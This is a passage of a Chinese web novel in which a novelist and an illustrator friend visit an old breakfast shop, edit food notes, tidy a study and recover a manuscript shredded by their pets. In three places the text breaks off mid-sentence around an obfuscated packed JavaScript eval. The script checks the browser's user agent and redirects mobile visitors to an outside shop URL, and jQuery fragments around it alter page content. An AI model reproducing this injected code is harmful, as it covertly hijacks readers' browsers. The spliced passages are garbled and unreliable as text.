这次不用鸿雁指导,霜莉已经学会了先观察再品尝。春笋鸡茸羹鲜美异常,却丝毫不腻;玫瑰花卷的外形真的如绽放的玫瑰,咬开后花香与坚果香交织;四味小菜分别是嫩姜、小黄瓜、萝卜和莴笋,每一样都腌得恰到好处,爽口开胃。 “陈爷爷,”鸿雁吃完一个玫瑰花卷后,忍不住问,“您做这些食物,最在意的是什么?” 老人正在擦拭柜台,闻言停下手,想了想说:“时节、本味、心意。食材要用当季的,味道要突出食材本身的优点,做的时候要想着吃的人。”他指了指墙上的字,“‘食之味,在时节,在人心’,就是这个意思。” 霜莉心中一动。这不正是她试图在自己的小说中表达的理念吗?云苓的医术和厨艺都遵循自然之道,强调顺应时节、调和平衡、以人为本。她之前总是通过大段对话来解释这些理念,但现在她明白了,最好的表达方式是让人物通过行动——通过他们选择和准备食物的方式——来展现这些价值观。 “我突然知道我下一章该怎么写了。”霜莉轻声对鸿雁说。 鸿雁笑了,从包里拿出速写本和铅笔,开始勾勒刚才那些食物的形态。她没有画完整的静物写生,而是捕捉一些细节:荠菜翡翠糕的切面纹理,玫瑰花卷的层叠花瓣,小菜在碟子中的摆放方式。 “你在画什么?”霜莉好奇地问。 “食物背后的故事。”鸿雁头也不抬地说,“你看这荠菜翡翠糕,它的颜色来自春天的野菜,它的形状模仿玉石,它的甜味来自少量的蜂蜜而非白糖。这一块糕点里,有季节、有文化、有手艺人的坚持。我想把这些画下来,配合你的文字。” 霜莉看着鸿雁专注的侧脸,突然明白了为什么她虽然画技出众却不想出名。对鸿雁来说,画画不是为了展示技巧或获得认可,而是为了记录和表达她所热爱的事物。这种纯粹的动机,反而让她的作品有种打动人心的力量。 最后一轮食物上来了:两小碗杏仁豆腐,表面撒着碾碎的花生和桂花。 “餐后甜点,清清口。”老人说,“这杏仁是我自己磨的,没用杏仁粉。” 杏仁豆腐滑嫩细腻,杏仁的香味浓郁自然,与市面上那些香精味道完全不同。霜莉一小口一小口地吃着,感觉整个人都被这顿早餐温柔地唤醒了。 吃完后,鸿雁去柜台结账——没有固定价格,客人根据自己的感受给。鸿雁显然是熟客,与老人低声交谈了几句,老人点点头,又看了看霜莉,似乎说了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122841|195978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 句“好好写”。 走出小店时,阳光已经洒满小巷。霜莉感到一种难得的满足感,不是饱腹的满足,而是心灵被滋养的满足。 “接下来去哪?”她问。 鸿雁看了看时间:“才十一点,要不要去附近的公园走走?刚吃完饭,适合散步。而且那里有片竹林,也许能给你些古风场景的灵感。” 两人沿着老街慢慢走着,宠物们从包里探出头来,享受着阳光和新鲜空气。路人看到这一人一猫一蜜袋鼯的组合,都忍不住多看几眼。 “鱿鱼,”霜莉突然说,“你有没有想过,把你的画和我的文字结合起来,做成一本真正的书?” 鸿雁脚步顿了顿:“什么书?” “不只是插图配文字,而是文字和图像平等对话的书。”霜莉越说思路越清晰,“比如,我写一个关于某种食物的故事,你画这种食物的制作过程、文化渊源、背后的情感。我们不是简单地配合,而是各自从自己的角度讲述同一个主题。” 鸿雁沉默了一会儿:“像今天这样?你用文字记录陈爷爷和他的朝食,我用画记录?” “对,但不止于此。”霜莉说,“我们可以做一个系列,探索不同的传统食物,每一篇都有故事、有知识、有情感、有画面。它可以是美食书,可以是故事集,也可以是艺术画册——或者说,是所有这些的结合。” 两人走到了公园门口。竹林在公园深处,远远就能看到一片青翠。 “我考虑考虑。”鸿雁最终说,“不过听起来挺有意思的。至少比单纯地画插图或者单纯地写小说有趣。” 走进竹林,阳光透过竹叶洒下斑驳光影。霜莉找了个长椅坐下,让糯米出来活动活动。小家伙立刻爬到竹子上,好奇地嗅着竹节。 鸿雁也放出咪咪,但猫咪对竹子没什么兴趣,自顾自地在草地上打滚。 “你知道吗,”鸿雁看着在竹间跳跃的糯米说,“有时候我觉得,创作就像寻找美食。你要去那些不起眼的小巷,要有耐心等待,要愿意尝试陌生的味道。最重要的是,要懂得欣赏那些简单却用心的事物。” 霜莉点点头,从包里拿出笔记本,开始记录今天的感受:“时节、本味、心意……这些词我要记下来,它们会成为我小说里云苓的核心哲学。” 鸿雁也拿出速写本,开始画竹林的光影。她没有画全景,而是捕捉一些片段:竹叶上的露珠,阳光穿过竹林的射线,地上竹叶的阴影图案。 “你在画什么?”霜莉问。 “竹子的气质。”鸿雁回答,“它们让我想起你小说里的某些场景——隐士的居所,侠客的会面地,文人雅集的地方。竹子在中国文化里有很多象征意义,我想通过画面捕捉那种感觉。” 霜莉看着她画画,突然意识到,虽然她们使用不同的媒介,但追求的东西是相似的:捕捉那些触动心灵的瞬间,表达对美和文化的理解,在创作中找到属于自己的意义。 “鱿鱼,”她轻声说,“谢谢你带我来这里。” 鸿雁抬起头,笑了:“也谢谢你愿意来。很多人觉得我这种觅食方式太麻烦,不如去网红店打卡来得方便。” “但这样更有意义。”霜莉说,“不仅是食物本身,还有寻找的过程,发现的故事,以及——”她停顿了一下,“一起分享的人。” 竹林中微风拂过,竹叶沙沙作响。咪咪玩累了,跳回鸿雁腿上打盹。糯米也从竹子上滑翔下来,准确地落回霜莉肩头。 在这个寻常的周六上午,在一座城市的普通公园里,两个创作者因为对美食和美的共同热爱,找到了一种珍贵的连接。她们还不知道,这次探店只是一个开始,一个更大、更美好的合作项目的序幕。 但她们能感觉到,有什么东西已经悄然改变。就像春天里破土而出的竹笋,虽然现在还埋在土里,却已经积蓄了向上生长的力量。 5. “你必须写点东西” 霜莉坐在鸿雁家客厅的地毯上,周围散落着十几本厚厚的笔记本。这些是鸿雁过去几年随手记下的东西——美食探店记录、食材研究笔记、菜谱尝试心得,甚至还有一些零碎的生活观察和故事片段。 “你就这么随便放着?”霜莉难以置信地问。对她来说,文字是神圣的,应该被好好整理保存。 鸿雁正喂咪咪吃特制的减肥零食——几颗小小的冻干鸡肉粒。“这些都是随手记的,想到什么写什么,没打算给别人看。”她漫不经心地说,然后眯起眼睛盯着猫咪,“咪咪,慢点吃,没人跟你抢。” 霜莉随手翻开一本。这本的封面画着一只卡通鱿鱼,内页字迹时而工整时而潦草,夹杂着速写和小贴纸。内容从“如何判断一条鱼是否新鲜”到“城南老街那家豆腐脑的老板故事”,再到“尝试复原《红楼梦》里的茄鲞,第三次失败记录”。 她翻开另一本,这一本似乎更私人,记录了鸿雁的童年记忆:“奶奶做的桂花糖藕,甜到心里却不会腻。她说糖要分三次放,藕孔要填满但不过实,火候要小但要持续。她去年走了,我再也没吃过那个味道的糖藕。” 霜莉读到这里,感觉鼻子一酸。她继续翻阅,发现鸿雁虽然自称“不会写作”,但她的文字有一种质朴的感染力。她没有刻意追求华丽的辞藻或复杂的结构,只是诚实记录自己的感受和观察,反而让文字显得格外真挚。 “你看这里。”霜莉指着一页给鸿雁看,“你写第一次尝试做苏式月饼的经历:‘水油皮和油酥的比例试了五次才找到最佳状态。揉面时想起小时候看奶奶做月饼,她的手有皱纹但很稳。烤箱预热的声音像呼吸,等待的45分钟里,整个房间都是面粉和黄油的香气。出炉时酥皮层次分明,像绽放的花。’这段描写很有画面感。” 鸿雁瞥了一眼:“哦,那个啊。那天中秋节,突然想自己做月饼,就试了试。写下来是为了记住配方和注意事项。” “但你不觉得这本身就是很好的写作吗?”霜莉认真地说,“有过程,有回忆,有感官细节,还有情感。你把一个简单的烘焙经历写成了一个完整的小故事。” 鸿雁终于喂完咪咪,走过来坐在地毯上。“这算写作?我觉得就是记笔记而已。” “记笔记和写作的界限没有那么分明。”霜莉说,又翻开另一本,这一本里有更多故事性的内容,“你看这篇,‘遇见的食客们’,你写了在不同餐厅遇到的陌生人:那个每周三都来吃同一碗面的老先生,他说这味道像他亡妻的手艺;那对在高级餐厅庆祝结婚纪念日却全程无话的夫妻;那个边吃边哭的年轻女孩,后来你发现她刚丢了工作……” 鸿雁有些不好意思:“我就是喜欢观察人。食物不只是食物,它还是情感的载体。人们在吃饭时最放松,最容易显露真实的一面。” “这正是写作的核心啊!”霜莉激动地说,“通过细节观察人物,通过日常展现人性。鱿鱼,你有成为好作家的潜质,只是你自己没意识到。” 鸿雁摇摇头:“我不行。写作太正式了,要有结构,要有主题,要有起承转合。我这些东西就是乱七八糟的随笔。” 霜莉沉默了一会儿,然后站起来,在鸿雁的工作台前找到一支红笔。她回到地毯上,开始仔细阅读一篇关于“寻找完美阳春面”的长文。 这篇文章记录了鸿雁一个月内尝试了八家面馆的经历。她不仅描述了每家面馆的特色,还记录了店主的故事、食客的反应、以及自己对“完美”定义的思考。结尾处,她写道:“也许完美的阳春面并不存在,或者它存在于每个人的记忆里。对我来说,完美是奶奶做的那碗面,虽然简单,却再也无法复制。对那位每周三来的老先生来说,完美是他亡妻的味道。对面馆老板来说,完美是每个客人都能把汤喝光。我们在寻找的,可能不只是食物本身。” 霜莉用红笔在某些句子下面划线,在空白处写下批注:“这里的情感转折很自然”、“这个细节让人物立体”、“结尾的思考提升了整篇文章的层次”。 “你在干什么?”鸿雁好奇地凑过来。 “编辑。”霜莉头也不抬,“这是每个写作者都需要的过程。你看,你这篇文章已经有很好的基础:清晰的结构,生动的细节,真挚的情感,深刻的思考。只需要稍作调整,就是一篇可以发表的佳作。” 她继续翻看其他笔记,发现鸿雁的写作潜力比想象中更大。有一篇关于菜市场的研究,通过不同摊主的故事,勾勒出一个社区的生活图景。有一篇记录传统手艺人的文章,写了一位做了五十年豆腐的老人,文字间充满敬意和忧虑——这门手艺可能要失传了。 “鱿鱼,”霜莉放下红笔,认真地看着鸿雁,“你必须写点东西。不是随便的笔记,而是完整的作品。” 鸿雁抱着咪咪,眉头微皱:“为什么?我现在这样挺好的。画画,觅食,记录一些感兴趣的东西,没有压力。” “因为你的声音值得被听到。”霜莉说,“你有独特的视角——通过食物看人,通过味道看文化,通过日常看时代。这种视角是珍贵的,不应该只留在私人笔记本里。” “但写作很痛苦吧?”鸿雁怀疑地说,“我看你经常卡文,对着电脑叹气,焦虑deadline。我不想那样。” 霜莉笑了:“有痛苦,但也有巨大的快乐。当你写出一个真正打动自己的句子,当你构建出一个让人相信的世界,当你通过文字与他人产生连接——那种满足感是无可替代的。” 她顿了顿,继续说:“而且你不需要像我一样写小说。你可以写美食随笔,写人物特写,写文化观察。就用你现在的风格,真诚、细腻、带着个人温度的风格。我可以帮你编辑、给建议,但内容完全是你自己的。” 鸿雁沉默地摸着咪咪的毛。糯米从霜莉肩头滑下来,爬到鸿雁膝盖上,和咪咪并排趴着。一猫一蜜袋鼯,竟然相处得异常和谐。 “我不知道……”鸿雁犹豫道,“我觉得自己写的东西太个人,太小众了。” “最好的写作往往是个人而小众的。”霜莉说,“因为它真实。真实的东西才有力量。” 窗外天色渐暗,房间里没有开灯,只有窗外透进的暮色。在昏黄的光线中,鸿雁的表情显得格外柔和。 “如果我写,”她终于开口,“写什么?” 霜莉心中一喜,但努力保持平静:“从你擅长和热爱的开始。比如,你可以写一个‘城市觅食者’系列,记录那些隐藏在城市角落的美食和它们背后的故事。或者写‘食物记忆’,通过个人与食物的联系,探讨家庭、传统和文化变迁。” 她拿起那本关于阳春面的笔记:“就从这篇开始修改怎么样?我帮你一起,看看它如何从笔记变成完整的文章。” 鸿雁看着自己的笔记,又看了看霜莉期待的眼神,终于点了点头:“好吧,试试看。但你不能逼我,我想写的时候才写,不想写的时候就不写。” “当然。”霜莉笑道,“创作应该自由。但有时候需要一点推动力,否则你可能永远不会开始。” 她们打开灯,坐在一起修改那篇阳春面文章。霜莉先让鸿雁朗读全文,然后讨论哪些部分可以扩展,哪些可以精简,结构如何调整,语言如何打磨。 “这里你提到第三家面馆的老板有故事,但只是一笔带过。”霜莉说,“可以多说一点吗?他为什么开面馆?有什么特别之处?” 鸿雁想了想:“他是四川人,但做的是苏式面。他说年轻时来这个城市打工,吃不惯本地菜,就想自己做。后来发现本地人喜欢他的口味,就开了店。他会在阳春面里加一点点花椒油,说是给生活一点‘意外的惊喜’。” “这个细节太好了!”霜莉兴奋地说,“这就是人物的独特性。加进去,让读者看到这个老板的性格。” 她们就这样一句一句地修改、讨论、完善。鸿雁最初有些拘谨,总觉得自己在“正式写作”而放不开。但在霜莉的鼓励下,她渐渐找回自己笔记里那种自由随性的感觉,只是这次更加有条理和完整。 两个小时后,文章修改完毕。鸿雁重新读了一遍,几乎不敢相信这是自己写的。 “这真的是我的文章?”她惊讶地问。 “每个字都是你的。”霜莉肯定地说,“我只是帮你整理了一下结构,提了一些建议。内核、情感、细节、观察——这些都是你自己的。” 鸿雁又读了一遍,眼神从怀疑变为惊喜,再变为某种更深的东西。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122842|195978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她似乎第一次意识到,自己那些零散的笔记和观察,真的可以成为有价值的东西。 “如果我把它发在我的美食博客上……”她犹豫地说。 “当然要发。”霜莉说,“让更多人看到。不过博客可能太局限了,也许可以考虑其他平台,或者——”她停顿了一下,“就像我之前说的,我们可以一起做一本书。” 鸿雁没有立刻回应。她关掉文档,站起来伸了个懒腰。咪咪和糯米也跟着站起来,一个伸懒腰,一个打哈欠。 “我饿了。”鸿雁宣布,“写作果然消耗能量。我做点吃的吧,你想吃什么?” “简单点就好。”霜莉说,也开始收拾散落的笔记本。 在厨房里,鸿雁一边煮面一边说:“如果我真的要写东西,可能还需要更多练习。我的语言还不够精炼,结构感也不强。” “所以要多写。”霜莉靠在厨房门框上,“每周写一篇,任何主题都可以。我会当你的第一个读者和编辑。慢慢地,你会找到自己的节奏和风格。” “听起来像写作课。”鸿雁笑道。 “不,是写作伙伴。”霜莉纠正道,“就像你是我的画画伙伴一样。我们互相支持,但不互相评判;互相建议,但不互相干涉。” 面条的香气开始在厨房弥漫。鸿雁做的阳春面很简单,但很用心:熬了几个小时的骨汤做底,面条煮得恰到好处,葱花和猪油增添香气,最后还真的加了一点点花椒油——向那位四川老板致敬。 两人坐在餐桌前吃面。暮色已经完全降临,窗外亮起万家灯火。 “你知道吗,”鸿雁突然说,“我奶奶曾经想教我写毛笔字,但我觉得太枯燥,没学下去。现在有点后悔。她说字如其人,写作也像烹饪,都需要耐心和练习。” “你奶奶说得对。”霜莉说,“但任何时候开始都不晚。” 她们安静地吃了一会儿面,然后鸿雁说:“也许我可以试着写一系列关于传统食物和现代生活的文章。比如,那些快要失传的手艺,那些在快速变化的城市里坚持老味道的人。” “这个主题很好。”霜莉眼睛发亮,“有文化深度,有人情味,也有现实意义。你可以边写边画,文字和图像结合。” “那你呢?”鸿雁问,“你的《云间录》怎么样了?” “因为你的插图和我们的讨论,进展很顺利。”霜莉说,“我加入更多关于食物和医药的细节,人物也更丰满了。编辑说这是目前为止最好的一部分。” 鸿雁笑了:“看来我们互相帮助得还不错。” 吃完面,两人一起洗碗。糯米在餐桌上捡拾碎屑,咪咪则在椅子下等待可能掉落的食物——尽管它的减肥计划还在进行中。 “下周继续?”霜莉擦干手,问道。 “继续什么?写作还是觅食?” “都继续。”霜莉说,“周六我们可以去探另一家店,周日我们可以一起写作。我写我的小说,你写你的文章,累了就互相看看,给点意见。” 鸿雁考虑了一下,然后点头:“听起来不错。不过如果某天我只想躺着吃零食看电视,你不能说我偷懒。” “当然。”霜莉笑道,“创作需要休息,也需要生活。” 离开鸿雁家时,夜已深。霜莉抱着装着糯米的宠物袋,走在回家的路上。她感到一种奇妙的充实感——不仅因为今天帮助鸿雁发现了她的写作潜力,也因为在这个过程中,她对自己作为写作者的身份有了新的理解。 以前她总把写作看得很严肃、很孤独,但在与鸿雁的交流中,她看到了创作的另一种可能:可以轻松但不轻浮,可以合作但不失去自我,可以在日常中发现不凡,可以在分享中获得力量。 手机震动,是鸿雁发来的消息:“我想了想,给我的系列起名叫‘味觉记忆’怎么样?第一篇文章就用我们今天改的那篇,标题叫《一碗面的寻找与抵达》。” 霜莉微笑着回复:“完美。期待阅读完整版。” 她抬头看着夜空,虽然城市的灯光遮蔽了星星,但她觉得心中有一片星空正在缓缓展开。那里有文字的光芒,有图像的色彩,有食物的香气,还有友谊的温暖。 而这一切,只是一个开始。 6. 书房改造计划 霜莉的书房,用鸿雁的话说,“像是被知识风暴袭击过的现场”。 书架上的书参差不齐,有些横放有些竖放,还有几摞直接堆在地上。书桌上,笔记本电脑被笔记本、参考书、茶杯和零食袋包围,只留下一小块可供打字的区域。墙角堆着等待归档的资料和打印稿,墙上贴满了便签和灵感碎片,像是某种现代艺术装置。 “我都能在这里面找到创作灵感了。”鸿雁站在门口,一手抱着咪咪,一手提着工具箱,“这混乱中有种……蓬勃的生命力?” 霜莉有些不好意思:“我知道该整理,但每次开始收拾,就会读到某本书的某一段,或者找到之前记的某个灵感,然后就开始写东西,整理就搁置了。” 糯米从书架上滑翔下来,准确地落在鸿雁肩头。这小家伙已经完全把鸿雁当成第二个主人,每次她来都会兴奋地迎接。 “好吧,今天的目标不是彻底整理,而是创造一个有秩序但又不会扼杀灵感的创作空间。”鸿雁放下工具箱,里面是她带来的收纳用品、标签和各种小工具,“先从书桌开始。” 两人把书桌上的东西全部清空,摊在地毯上。场面令人震撼:十七支笔(其中只有三支能写),九个空零食袋,二十三个书夹,无数张写满片段又划掉的便签纸,还有三本翻到一半的书。 “这袋瓜子是什么时候的?”鸿雁拿起一个已经空了的包装袋。 霜莉脸红了:“可能是上周……写作时嘴里需要有点东西嚼。” 鸿雁笑了:“理解理解。我画画时也这样,零食是创作燃料。”她开始分类,“笔放笔筒,废纸扔掉,便签整理,参考书放回书架,零食袋……”她停顿了一下,“有多少是还能吃的?” 只有两包饼干幸存。其他的要么空了,要么过期了。 清空后的书桌露出原本的木质纹理,是一张很不错的实木桌,只是平时被完全掩盖了。鸿雁擦干净桌面,铺上一块淡青色的桌布,又放上一个简单的竹制笔筒和一个小盆栽。 “绿植能净化空气,也能让眼睛休息。”鸿雁解释道,“不过别选需要太多照顾的,你会忘记浇水。” 霜莉点点头,已经开始感受到变化。干净整洁的桌面让她有立刻坐下来写作的冲动。 接下来是书架。这是更大的工程。两人决定先把所有书拿下来,按类别重新整理。 “小说类,历史类,医药类,食谱类……”鸿雁一边分类一边念,“你的兴趣很广泛嘛。等等,这本《唐代服饰研究》旁边为什么是《分子美食学》?” “可能……拿的时候顺手放的?”霜莉自己也说不清。 鸿雁翻着那些书,突然停下来:“你这些参考书都做了好多笔记。看,这本《本草纲目》现代译注里,每一页都有便签。” 霜莉凑过去看,确实,书页边缘贴满了彩色便签,上面是她阅读时记录的想法和灵感。“云苓可以用这个药材配那道菜”,“洛尘的伤可以用这个方子解释”,“这个季节适合采什么药”…… “这些很重要。”鸿雁认真地说,“不应该只留在书里。我们可以建立一个灵感库,把这些想法整理出来,方便随时调用。” 她从工具箱里拿出几个透明文件夹和标签:“按主题分类:人物设定、药膳食谱、江湖设定、季节时令……你写作时可以快速找到需要的内容。” 这个建议让霜莉眼前一亮。她经常为了找一个曾经读到的细节而翻遍所有书,耗费大量时间。 整理过程持续了整个下午。两人坐在地毯上,周围是堆积如山的书和资料。咪咪在书堆间穿梭,偶尔扑向飘落的便签纸。糯米则忙于在各个书架间滑翔,像是在验收她们的成果。 “你知道吗,”鸿雁一边给文件夹贴标签一边说,“创作空间的风水很重要。不是迷信的那种风水,而是空间的布局如何影响你的思维和情绪。” “比如?”霜莉感兴趣地问。 “比如,你的工作区应该面向窗户,有自然光,但不要让阳光直射屏幕。书架不要正对座位,那会有压迫感。”鸿雁指了指重新摆放的书架,“现在它们在你侧面,既方便取用,又不会造成心理压力。” 她又调整了桌灯的位置,换了一个更温和的灯泡:“光线要足够明亮但不刺眼。颜色也很重要,你的桌布选了青色,这是让人平静和专注的颜色。” 霜莉看着焕然一新的书房,感到一种奇妙的平静。空间确实在影响她。之前的混乱让她思维也容易碎片化,而现在的秩序感让她能够更清晰地思考。 “你懂的真多。”她感慨道。 鸿雁耸耸肩:“我学过一点环境心理学,为了设计理想的工作室。画画对环境很敏感,光线、颜色、布局都会影响创作状态。” 最后,她们在墙上创建了一个“灵感板”。不是之前那种随意贴便签的方式,而是一块软木板,上面分区:正在进行中的章节、待解决的难题、人物关系图、时间线。便签整齐地排列,用不同颜色区分优先级。 “这样一目了然。”鸿雁后退一步欣赏自己的作品,“你需要什么信息,看一眼就知道在哪里。不会在混乱中丢失灵感。” 霜莉站在重新整理的书房中央,深深地吸了一口气。空气中还有一点灰尘的味道,但更多的是书本的纸香和盆栽的清新。她感到一种久违的创作渴望——不是焦虑的“必须写”,而是平静的“想要写”。 “为了庆祝书房新生,”鸿雁从自己的包里拿出一个保温盒,“我做了桂花糯米藕。用的是陈爷爷教的方法,糖分三次放,火候要小。” 藕片切得整齐,糯米填得饱满,淋着琥珀色的糖汁,撒着小小的桂花。霜莉尝了一口,甜而不腻,藕的清香和糯米的软糯完美结合。 “好吃。”她由衷地说,“你最近厨艺进步很大。” “实践出真知嘛。”鸿雁也吃了一口,“而且我发现,烹饪和创作有很多相通之处。都需要配方(大纲),都需要技巧(文笔),都需要调整(修改),最终都是为了创造某种能打动人心的东西。” 她们坐在新整理的书房地毯上,分享着甜点,两只宠物依偎在旁边。阳光透过窗户,在木地板上投下温暖的光斑。 “鱿鱼,”霜莉突然说,“你为什么不考虑正式出版你的画集或美食笔记呢?以你的才华和对食物的理解,完全可以做出很棒的作品。” 鸿雁沉默了一会儿,用筷子轻轻拨弄着藕片上的桂花。“我害怕……被定义。”她最终说,“一旦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122843|195978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出版,就成了‘美食画家’或‘插画师’,然后人们会期待你一直做同样的东西。我喜欢自由,想画什么就画什么,想写什么就写什么,没有压力。” “但你可以定义自己的创作啊。”霜莉说,“不是别人给你贴标签,而是你用作品展示你是谁。” 鸿雁笑了笑,没有直接回答,而是换了个话题:“说到创作,你的《云间录》第三章写得怎么样了?上次说的那个药膳场景。” “写完了,想听听你的意见。”霜莉起身从书桌上拿过笔记本电脑。 两人靠在一起读新写的章节。书房里只有鼠标滚动和偶尔的咀嚼声。窗外的天色渐暗,但她们没有开灯,让暮色自然浸染房间。 “这里,”鸿雁指着一段,“云苓解释药膳原理的对话,可以再精简一点。读者不需要那么多专业知识,只需要感受到她的智慧和用心。” 霜莉点点头:“有道理。我总担心解释不清楚,但可能过度解释了。” “还有这里,洛尘尝到药膳时的内心活动,可以加入更多感官细节。”鸿雁闭上眼睛,仿佛在想象那个场景,“不只是味道,还有温度对口腔的触感,香气如何勾起回忆,吞咽后的回味……食物是全身心的体验。” 霜莉记录下这些建议。与鸿雁讨论创作总是能给她新的视角,让她突破自己的思维定式。 整理好的书房在暮色中显得格外宁静。书架上整齐排列的书本,桌上简洁的摆设,墙上清晰的灵感板,一切都在诉说着秩序与可能。 “你知道吗,”霜莉轻声说,“我以前觉得创作必须带点痛苦,必须在混乱中挣扎才能产生好作品。但今天我发现,一个舒适有序的环境反而让我更自由。” 鸿雁点点头:“创作本身已经有足够多的挑战,环境应该支持你,而不是增加负担。” 咪咪跳上霜莉的腿,找了个舒服的姿势趴下。糯米也从书架上滑下来,落在鸿雁肩膀上。两个创作者,两只宠物,在新生的书房里,分享着甜点和想法。 “下周你来帮我整理工作室吧。”鸿雁突然说,“我的比你的还乱。” 霜莉笑了:“成交。不过要带上好吃的。” “那是当然。”鸿雁也笑了。 窗外,城市的灯火渐次亮起。书房里,台灯被打开,投下温暖的光圈。霜莉坐在整洁的书桌前,手指在键盘上轻轻敲击。鸿雁则拿出速写本,开始画这个场景——不是混乱中的挣扎,而是有序中的创造。 或许创作真的可以有不同的样子。不是痛苦的燃烧,而是持续的耕耘;不是孤独的挣扎,而是分享的喜悦;不是混乱中的灵光一现,而是秩序中的稳步前行。 至少在这个重新整理过的书房里,霜莉相信了这种可能。而鸿雁,看着眼前专注写作的友人,也开始思考——也许出版不是束缚,而是另一种形式的分享;也许标签不是限制,而是让更多人找到你作品的地图。 但那是以后的事了。现在,她们只是享受这个整理后的空间,享受彼此的陪伴,享受创作本身带来的平静喜悦。 甜点的盘子空了,夜晚深了,但书房里的灯还亮着。故事在继续,在整洁的书桌上,在清晰的思维里,在温暖的友谊中,一章一章地,向前推进。 7. 咪咪的恶作剧与糯米的逃亡 霜莉在鸿雁工作室的沙发上醒来时,已经是凌晨三点。 她揉了揉眼睛,意识逐渐清晰。笔记本电脑还开着,屏幕上显示着她写到一半的章节。鸿雁则趴在画架前的工作台上睡着了,手里还握着一支炭笔。工作室里只开了一盏小台灯,光线昏暗而温暖。 她们本来计划只是普通的周末创作会——霜莉写《云间录》的新章节,鸿雁为之前的场景绘制系列插图。但灵感来得出奇地好,两人都沉浸在工作中,忘记了时间。 霜莉轻轻起身,准备去倒两杯水。然后她看到了现场。 地板上,散落着至少五十张手稿。不是随意散落,而是像被什么系统性地扫落、撕扯、再四处抛撒。她的《云间录》第四章打印稿,原本整齐地放在工作台一角,现在变成了满地的纸片。 而在纸片海洋中央,蹲着两只“罪犯”。 咪咪端坐着,尾巴轻轻摆动,一副“与我无关”的高傲表情,但嘴角还挂着一小片纸屑。糯米则在纸堆间蹦跳,小爪子上沾满了墨水,每跳一步就在纸上留下一个小小的黑色爪印。 “你们……”霜莉的声音惊醒了鸿雁。 鸿雁抬起头,迷茫地眨了眨眼,然后看到了灾难现场。她的表情从困惑到震惊,再到哭笑不得。 “咪咪!”她喊道,“你又这样!” 咪咪只是打了个哈欠,慢条斯理地开始舔爪子,完全无视主人的指责。糯米则迅速滑翔到书架顶端,从那里俯视着下方,发出得意的吱吱声。 霜莉蹲下来,捡起一张纸片。是她精心写的那段——洛尘与云苓第一次一起采药的场景。现在纸上不仅有爪印,还被撕掉了一角。 “我昨晚打印出来准备今天修改的……”她心痛地说。 鸿雁也蹲下来,开始收集纸片:“我昨晚画到太晚,忘了把稿子收好。咪咪有撕纸的坏习惯,尤其是当它觉得被忽视的时候。” “那糯米是怎么回事?” “大概是模仿学习?”鸿雁猜测,“或者单纯觉得好玩。” 两人开始在地板上捡拾纸片,试图拼凑回原貌。但情况比想象中更糟——有些纸被完全撕碎,有些被墨水弄得无法辨认,有些甚至被不知道哪只宠物藏到了家具下面。 “这里缺了两页。”霜莉数着页码,“是最关键的那两页,云苓解释每种草药特性的对话。” “沙发底下可能有。”鸿雁趴在地上,伸手摸索,“啊,找到了,但是……”她抽出来的纸已经皱成一团,还有可疑的咬痕。 霜莉看着那些受损的手稿,突然感到一阵无力。她花了整整一周才写完这一章,反复修改,仔细推敲每个细节。现在一切都被毁掉了。 “我备份了电子版,但最新的修改还没来得及保存。”她沮丧地说,“昨天下午的修改全在这些打印稿上。” 鸿雁沉默了一会儿,然后站起来:“咖啡还是茶?” “什么?” “我们需要保持清醒。”鸿雁走向小厨房,“既然要熬夜重写,就需要提神的东西。咖啡还是茶?或者我都做,你选。” 霜莉看着鸿雁的背影,突然意识到她没有抱怨,没有道歉过度,只是平静地接受现状并开始寻找解决方案。这种态度感染了她。 “茶吧。”她也站起来,“咖啡会让我手抖。” 在鸿雁泡茶的时候,霜莉继续收集和整理纸片。她把还能辨认的部分按页码排列,缺失的部分用空白纸标记。虽然损失惨重,但并非完全无法挽回——她的记忆还很新鲜,大部分内容都能回忆起来。 “给。”鸿雁递给她一杯热气腾腾的茶,“茉莉花茶,安神又提神。” 两人坐在散落的手稿中间,小口喝着茶。咪咪似乎意识到自己闯了祸,悄悄溜到鸿雁腿边,用头蹭她的手。糯米也从书架上滑下来,小心翼翼地落在霜莉肩上。 “其实,”霜莉突然说,“也许这不是坏事。” 鸿雁挑起眉毛:“你确定不是气糊涂了?” “不,我是认真的。”霜莉拿起一张被撕破的纸,“看这一段,云苓介绍川芎的那部分,我写了整整三行的植物学描述。现在重读,觉得太学术了,读者可能会跳过。” 她指着另一张相对完整的纸:“但这段对话——洛尘问‘这草有什么用’,云苓回答‘它能让疼痛的记忆变淡’——这个反而很好,有人情味。” 鸿雁凑过来看:“确实。专业知识太多会打断叙事节奏。你需要的是那种能让读者感受到药草特性,而不是了解药草特性的描写。” 茶喝完了,两人决定开始重建工作。但这次,她们换了方式。 